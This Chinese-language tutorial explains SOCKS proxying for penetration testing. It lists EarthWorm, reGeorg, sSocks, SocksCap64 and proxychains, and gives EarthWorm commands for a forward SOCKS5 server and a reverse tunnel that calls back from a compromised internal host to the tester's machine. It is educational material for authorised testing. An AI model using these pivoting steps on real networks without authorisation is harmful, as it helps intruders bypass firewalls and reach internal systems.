随着信息安全意识的提升,越来越多的信息系统前端均部署有防火墙,系统管理员根据业务需求将内部必要的服务端口通过端口映射等手段映射到公网中,如默认web服务端口80、MSSQL数据库服务端口1433等。通过部署防火墙可以将信息系统内部区域与公网逻辑隔离开来,利用相关的策略有效避免或减轻来自外部的攻击。
Socks代理
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。
Socks在渗透测试中使用特别广泛,能够很方便让我们与目标内网计算机之间通信,避免了一次又一次使用端口转发的麻烦。比较常见的Socks5工具有htran,reGeorg等,socks4的有metasploit。
在实际渗透测试过程中,当我们成功的拿下第一台堡垒机后,此时我们又想对目标内网进一步渗透测试时,socks能够帮助我们更加快速的,方便的访问目标内网的各种资源,比传统的端口转发更加实用。
Socks代理工具:
1. Earthworm 工具网址:http://rootkiter.com/EarthWorm
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内,强烈推荐使用。
目前已经有了最新版Termite,工具网址:http://rootkiter.com/Termite/
2.reGeorg 工具网址:https://github.com/NoneNotNull/reGeorg
reGeorg是reDuh的升级版,主要是把内网服务器的端口通过http/https隧道转发到本机,形成一个回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。它利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php或jsp这些web程序中的一种。
3.sSocks 工具网址:http://sourceforge.net/projects/ssocks/
sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,即将远程计算机作为socks代理服务端,反弹回本地,极大方便内网的渗透测试,其最新版为0.0.13。
4.SocksCap64 工具网址:http://www.sockscap64.com (需翻墙)
SocksCap64是一款在windows下相当好使的全局代理软件。SocksCap64可以使Windows应用程序通过SOCKS代理服务器来访问网络而不需要对这些应用程序做任何修改, 即使某些本身不支持SOCKS代理的应用程序通过SocksCap64之后都可以完美的实现代理访问。
5.proxychains 工具网址:http://proxychains.sourceforge.net/
Proxychains是一款在LINUX下可以实现全局代理的软件,性能相当稳定可靠。在使任何程序通過代理上網,允許TCP和DNS通過代理隧道,支持HTTP、SOCKS4、SOCKS5類型的代理服務器,支持proxy chain,即可配置多個代理,同一個proxy chain可使用不同類型的代理服務器。
EarthWorm
简单解释下正向代理和反向代理的区别,正向代理就是我们主动通过proxy来访问目标机器,反向代理就是目标机器通过proxy主动来连接我们。
Eg: ./xxx -s ssocksd -h
-s state setup the function.You can pick one from the
following options:
ssocksd , rcsocks , rssocks ,
lcx_listen , lcx_tran , lcx_slave
-l listenport open a port for the service startup.
-d refhost set the reflection host address.
-e refport set the reflection port.
1. 正向socks v5服务器 适用于目标机器拥有一个外网IP
上图中,三个服务器在一个内网中,对外网提供访问的只有123.22.63.97这一台。
现在问题来了,如果我们想从外网中访问另外两台内网服务器。该怎么办呢?
这就是正向连接的场景,我们在Windows1上开一个socks5服务,在该机上运行:
ew –s ssocksd –l 888
s 即straight 正向!!!
在my PC上使用firefox的foxproxy插件作代理:
这样就能访问内网中的机器了。
此时查看自己的ip,发现是Windows1的ip:
这和shadowssocks原理其实是一样的,本来我们不能访问facebook和youtube,但是通过socks5代理,我们就能实现科学上网。
2. 反弹socks v5服务器 适用于目标机器没有公网IP,但可访问内网资源
上图中,我们想从my PC访问在内网中的Linux服务器,该怎么办呢?
首先在my PC(master)上运行:
ew -s rcsocks -l 1008 -e 888
该命令的意思是在我们公网PC上添加一个转接隧道,把1080端口收到的代理请求转交给888端口。
在Linux(slave)上运行:
ew -s rssocks -d 123.23.63.97 -e 888
rs即reverse,反向!!!!
这样,此linux上就启动成功了Socks5服务,并反弹到IP为123.23.63.97的888端口上。
此时,我们在my PC上使用firefox的foxProxy插件就能成功访问内网Linux的资源了:
查看ip,发现是Linux所在公网的ip:
网友评论